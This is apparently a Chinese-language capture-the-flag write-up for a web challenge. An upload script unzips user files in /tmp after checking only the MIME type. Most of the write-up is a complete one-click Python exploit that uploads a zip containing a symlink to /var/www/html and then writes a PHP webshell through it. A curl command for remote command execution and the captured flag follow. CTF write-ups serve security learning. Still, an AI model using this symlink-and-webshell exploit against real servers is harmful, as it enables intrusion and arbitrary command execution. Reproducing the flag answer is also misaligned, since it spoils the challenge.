unzip-wp

Zengan 2026-08-28 16:19:00 17 0 返回题目详情


unzip

Summary

靶站提供一个 zip 上传解压功能,upload.php源码主动泄露,仅按 MIME 魔数校验后执行unzip -o/tmp。利用zip 内符号链接(symlink)跟随:先上传指向/var/www/html的 symlink 条目,再借链接把 PHP webshell 写出到 DocumentRoot,命令执行读取/flag

Solution

Step 1: 源码泄露 → 定位漏洞

GET /upload.php通过highlight_file(__FILE__)直接返回源码:

<?phperror_reporting(0);highlight_file(__FILE__);
$finfo=finfo_open(FILEINFO_MIME_TYPE);
if(finfo_file($finfo,$_FILES["file"]["tmp_name"])==='application/zip'){
 exec('cd /tmp && unzip -o '.$_FILES["file"]["tmp_name"]);
};
//only this!
  • 校验:仅文件内容魔数application/zip不校验 zip 条目路径/符号链接

  • 解压:cd /tmp && unzip -o,固定解压到/tmp,覆盖模式。

说明:zip-slip(../条目)在 Debian bullseye 的 unzip 6.00 中已修复(CVE-2022-0529),实测被拒(404);但symlink 跟随仍然成立——unzip会在/tmp创建 zip 内的符号链接,后续条目路径穿过该链接时跟随写出到真实目录。

Step 2: 两步上传 → webshell 落地 DocumentRoot

  1. zip1:含符号链接条目www,指向/var/www/htmlcreate_system=3, external_attr=0xA1FF0000);

  2. zip2:含条目www/s.php,内容为<?php system($_GET["c"]);?>unzip解压www/s.php时跟随/tmp/www链接,写出到/var/www/html/s.php

完整一键脚本(构造 + 上传 + 验证 + 读 flag):

importzipfile,io,urllib.request,urllib.parse

BASE="http://49.232.142.230:15024"

defmake_zip(entries):
   """entries: list of (name, content, is_symlink, target)"""
   buf=io.BytesIO()
   withzipfile.ZipFile(buf,"w",zipfile.ZIP_DEFLATED)asz:
       forname,content,is_symlink,targetinentries:
           info=zipfile.ZipInfo(name)
           ifis_symlink:
               info.create_system=3         # Unix
               info.external_attr=0xA1FF0000# symlink mode
               content=target
           z.writestr(info,content)
   returnbuf.getvalue()

defupload(data,fname):
   boundary="----unzipctf"
   body=(
       f"--{boundary}\r\n"
       f'Content-Disposition: form-data; name="file"; filename="{fname}"\r\n'
       "Content-Type: application/zip\r\n\r\n"
  ).encode()+data+f"\r\n--{boundary}--\r\n".encode()
   req=urllib.request.Request(
       BASE+"/upload.php",data=body,
       headers={"Content-Type":f"multipart/form-data; boundary={boundary}"})
   urllib.request.urlopen(req,timeout=10).read()

# 1) symlink 条目 www -> /var/www/html
upload(make_zip([("www",b"",True,"/var/www/html")]),"symlink_www.zip")
# 2) 借链接写出 webshell 到 DocumentRoot
upload(make_zip([("www/s.php",b'<?php system($_GET["c"]);?>',False,"")]),"thru_www.zip")

# 3) 命令执行读 flag
cmd=urllib.parse.quote("cat /flag")
flag=urllib.request.urlopen(f"{BASE}/s.php?c={cmd}",timeout=10).read().decode()
print(flag)

Step 3: 验证

$ curl'http://49.232.142.230:15024/s.php?c=whoami'
www-data

www-data身份命令执行确认,cat /flag得到 flag。

Flag

flag{b371b486f204b3ccfe17c610fe4d282d}
分类:WEB
image
作者:Zengan

4

提交

0

收入

相关WriteUP

问题反馈